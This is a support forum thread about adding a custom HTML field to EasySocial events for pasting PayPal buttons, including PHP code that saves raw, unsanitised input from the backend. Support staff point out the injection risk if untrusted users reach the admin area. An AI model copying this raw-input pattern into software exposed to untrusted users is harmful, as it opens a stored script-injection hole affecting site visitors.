We are actually pretty reluctant to create a html field because it poses great security risks. Especially with script kiddies where they can actually just bring the entire site down when injection malicious stuffs on the page.

When the power of HTML editing is given to anyone on the site, it's a great risk and chances are that, your site would be hacked pretty easily.

Yes you're right. In my particular case the field would be editable in backend only, by people knowing what they are doing.

To be more precise, this field would be used to add a PayPal button on an event. This would be a very easy way to allow people paying for an event: an admin would just have to create the PayPal button, and copy/paste the HTML to the event field in backend.

If you were to create such a field, yes, a few things need to be considered including possible security issues (so not all HTML tags would be allowed).
But my request was just: how can I create such a field, starting from the Textarea field for example. I am aware that this is a bit beyond a normal support request, and maybe not that easy to do

Hm, I would suggest that you take a look at the custom field /media/com_easysocial/apps/fields/user/html/html.php . This would give you a head start

Hello

Finally I started from the following existing field which already supports HTML:
/media/com_easysocial/apps/fields/event/description/

The value for this field is stored in the clusters table (instead of fields table), so I had to remove the corresponding code.

Then the issue I had was that when the value was stored in the fields data table, HTML tags were stripped... So I defined (for backend editing):

    public function onAdminEditBeforeSave(&$post, &$cluster)

    {

        $desc = $this->input->get($this->inputName, '', 'raw');

        $post[$this->inputName] = $desc;

    }

It works, but is that correct? To be honest, I don't really know what I am doing

Yep, this is correct but risky if anyone has admin access as they could inject anything here. If you trust every users that logged into the back end, then it's perfectly fine

OK, but I must say I don't understand why the core event Description field is less risky. It has the following code:

    public function onAdminEditBeforeSave(&$post, &$cluster)

    {

        $desc = $this->input->get($this->inputName, '', 'raw');



        // Set the description on the event

        $cluster->description = $desc;



        unset($post[$this->inputName]);

    }

Hm, I don't really get you here

You say my custom field is risky because it allows users to inject any value in it. But the event Description field (which is a core field) also allows it, no?

It is a risk if you allow untrusted users to access the admin section

Anyway, if ever someone is interested in this custom field, there it is (provided as is). It's called Extended Description and is heavily based on event Description field (which is a core field).

Thanks for sharing.